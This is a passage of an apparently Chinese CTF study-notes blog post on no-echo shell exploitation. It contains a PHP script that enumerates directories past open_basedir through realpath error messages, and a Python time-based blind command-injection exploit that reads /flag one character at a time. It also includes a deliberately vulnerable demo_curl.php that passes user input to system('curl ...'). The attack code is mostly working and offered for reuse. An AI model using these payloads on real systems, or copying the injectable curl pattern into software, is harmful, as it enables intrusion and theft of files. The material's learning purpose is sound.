printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'E:/wamp64/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
       $file = $dir . $chars[$i] . '<><';
       realpath($file);
}
function isexists($errno, $errstr)
{
       $regexp = '/File\((.*)\) is not within/';
       preg_match($regexp, $errstr, $matches);
       if (isset($matches[1])) {
               printf("%s <br/>", $matches[1]);
      }
}
?>

shell 脚本

延时脚本

利用sqli中延时注入(当然可以布尔)的想法,无回显读取flag

这里有个坑点,在dash 中不支持 {$flag:0:1}这样的字符串截取方式,所以我这边是将/bin/sh 软链接了/bin/bash

若师傅有可以在/bin/sh下的方案或更好的脚本,望分享👍

import requests
import string
import time

url = 'http://localhost:40080/2020_11_6_no_echo_shell/demo_curl.php?url=127.0.0.1;'
flag = ""
for i in range(0,20):
   for j in string.printable:
      payload = '''flag=$(cat /flag);if [ "${flag:%s:1}" = "%s" ];then sleep 3;fi''' %(i,j)
      url_second = url+payload
       #print(url_second)
      try:
          res = requests.get(url_second,timeout=2)
      except:
          flag+=j
          print(flag)
  • demo_curl.php
<?php
$url = $_REQUEST['url'];
#echo "your input url is ".$url;
system("curl ".$url);

/*
flag=$(cat /flag);if [ "${flag:1:1}" = " " ];then sleep 3;fi
*/

后记

这篇文章个人使用,因为很多内容,我是直接copy的,并不能算自己写的。

TODO:

  • php-fuck
  • serialize
  • 协议解析产生的问题
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇